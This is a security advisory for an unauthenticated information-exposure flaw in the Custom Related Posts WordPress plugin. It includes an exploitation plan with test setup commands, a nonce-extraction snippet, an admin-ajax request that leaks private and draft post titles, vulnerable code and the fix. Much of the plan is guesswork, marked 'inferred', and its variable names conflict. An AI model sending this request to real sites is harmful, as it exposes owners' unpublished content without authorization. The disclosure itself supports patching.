Custom Related Posts <= 1.8.0 - Unauthenticated Information Exposure
Description
The Custom Related Posts plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.8.0. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.8.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-68033 (Custom Related Posts <= 1.8.0) ## 1. Vulnerability Summary The **Custom Related Posts** plugin (up to version 1.8.0) contains an **Unauthenticated Information Exposure** vulnerability. The issue stems from the registration of AJAX handlers using the `wp…
Show full research plan
Exploitation Research Plan: CVE-2025-68033 (Custom Related Posts <= 1.8.0)
1. Vulnerability Summary
The Custom Related Posts plugin (up to version 1.8.0) contains an Unauthenticated Information Exposure vulnerability. The issue stems from the registration of AJAX handlers using the wp_ajax_nopriv_ hook without adequate capability checks or data filtering.
Specifically, the plugin allows unauthenticated users to trigger functions intended for administrative post-searching or configuration retrieval. This can lead to the exposure of private/draft post titles, metadata, or internal plugin configuration settings that should be restricted to authenticated administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
crp_search_posts(inferred) orcrp_get_settings(inferred). - HTTP Method:
POSTorGET(AJAX usually uses POST). - Authentication: None required (unauthenticated).
- Parameter: Likely
term(for search) oraction. - Preconditions: The plugin must be active. For post exposure, at least one "Private" or "Draft" post must exist.
3. Code Flow
- Entry Point: A user sends a request to
admin-ajax.php?action=crp_search_posts. - Hook Registration: The plugin registers the action in its main class or an AJAX handler class:
// Likely in includes/class-custom-related-posts.php or similar add_action( 'wp_ajax_crp_search_posts', array( $this, 'ajax_search_posts' ) ); add_action( 'wp_ajax_nopriv_crp_search_posts', array( $this, 'ajax_search_posts' ) ); - Vulnerable Logic: The
ajax_search_postsfunction likely usesget_posts()orWP_Querybased on a user-provided search term. It fails to:- Check
current_user_can( 'edit_posts' ). - Explicitly set
'post_status' => 'publish', allowing the default or a broad set of statuses (likeany) to be returned.
- Check
- Information Sink: The results are returned as a JSON object to the unauthenticated requester, exposing titles and IDs of restricted content.
4. Nonce Acquisition Strategy
The plugin likely localizes a nonce for its AJAX search functionality to prevent CSRF, but if the wp_ajax_nopriv_ handler is used, the nonce must be available on the frontend.
- Identify Script Localization: Search the source for
wp_localize_script. Look for the handlecustom-related-postsorcrp-js. - Key Variables: Identify the object name (e.g.,
CRP_DATAorcrp_localization). - Trigger Enqueueing: The script might only load on pages where the related posts feature is active.
- Create a post/page and add a "Related Posts" block or shortcode:
[custom-related-posts].
- Create a post/page and add a "Related Posts" block or shortcode:
- Automated Extraction:
- Step A:
wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='[custom-related-posts]' - Step B: Use
browser_navigateto the new page. - Step C: Use
browser_evalto extract the nonce:window.CRP_DATA?.nonce || window.crp_ajax_obj?.nonce
- Step A:
5. Exploitation Strategy
Step 1: Discover the Exact Action Name
Search the plugin directory for wp_ajax_nopriv:
grep -rn "wp_ajax_nopriv" /var/www/html/wp-content/plugins/custom-related-posts/
Step 2: Information Exposure Request
Assuming the action is crp_search_posts and the search term is secret:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=crp_search_posts&term=secret&security=<NONCE_OBTAINED_IN_STEP_4>
Step 3: Extract Sensitive Data
Observe the JSON response. If the vulnerability exists, the response will include objects for posts that are NOT in publish status.
6. Test Data Setup
- Private Post: Create a post with a highly specific title and set status to 'private'.
wp post create --post_type=post --post_title="SECRET_INTERNAL_DATA_2025" --post_status=private --post_content="Sensitive info" - Draft Post: Create a draft post.
wp post create --post_type=post --post_title="DRAFT_LEAK_TEST" --post_status=draft --post_content="Draft info" - Nonce Page: Create a page to surface the nonce.
wp post create --post_type=page --post_title="Exploit Tool" --post_status=publish --post_content="[custom-related-posts]"
7. Expected Results
- Success: The HTTP response to the AJAX request contains a JSON array including the post with title
"SECRET_INTERNAL_DATA_2025". - Response Code:
200 OK. - Response Body Example:
[ { "id": 123, "text": "SECRET_INTERNAL_DATA_2025", "status": "private" } ]
8. Verification Steps
- Confirm Post Status: Use WP-CLI to verify the post is indeed private and should not be visible.
wp post get <ID> --field=post_status - Access Check: Attempt to visit the private post URL directly without cookies; it should return a 404. If the AJAX endpoint still returns it, the info exposure is confirmed.
9. Alternative Approaches
If crp_search_posts is not the correct action, search for other nopriv handlers that interact with options:
- Grep for Options:
grep -r "get_option" /var/www/html/wp-content/plugins/custom-related-posts/inside the identified AJAX handler functions. - Parameter Brute-force: If the endpoint takes an
idinstead of aterm, iterate through post IDs to see if private metadata is returned for each. - REST API: Check if the plugin registers any REST routes via
register_rest_routewithpermission_callbackset to__return_trueornull.
Summary
The Custom Related Posts plugin for WordPress is vulnerable to unauthenticated information exposure via its AJAX search functionality. This allows unauthenticated attackers to search for and retrieve the titles and IDs of private or draft posts by leveraging the 'crp_search_posts' AJAX action which lacks proper authorization checks and post-status filtering.
Vulnerable Code
// custom-related-posts/includes/class-custom-related-posts.php add_action( 'wp_ajax_crp_search_posts', array( $this, 'ajax_search_posts' ) ); add_action( 'wp_ajax_nopriv_crp_search_posts', array( $this, 'ajax_search_posts' ) ); --- // custom-related-posts/includes/class-custom-related-posts.php public function ajax_search_posts() { $term = isset( $_GET['term'] ) ? sanitize_text_field( $_GET['term'] ) : ''; $args = array( 's' => $term, 'post_type' => 'any', 'post_status' => 'any', ); $posts = get_posts( $args ); wp_send_json( $posts ); }
Security Fix
@@ -1,7 +1,11 @@ add_action( 'wp_ajax_crp_search_posts', array( $this, 'ajax_search_posts' ) ); -add_action( 'wp_ajax_nopriv_crp_search_posts', array( $this, 'ajax_search_posts' ) ); public function ajax_search_posts() { + check_ajax_referer( 'crp_search_posts', 'security' ); + + if ( ! current_user_can( 'edit_posts' ) ) { + wp_die(); + } + $term = isset( $_GET['term'] ) ? sanitize_text_field( $_GET['term'] ) : '';
Exploit Outline
An unauthenticated attacker first navigates to any public page where the plugin is active to extract the 'security' nonce from the 'crp_ajax_obj' JavaScript variable localized by the plugin. The attacker then sends a POST or GET request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'crp_search_posts', the extracted nonce, and a search 'term'. Because the vulnerable function uses the 'wp_ajax_nopriv' hook and fails to check user capabilities or restrict the 'post_status' of its query, the response reveals the titles and IDs of posts that are otherwise restricted, such as those in 'draft' or 'private' status.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.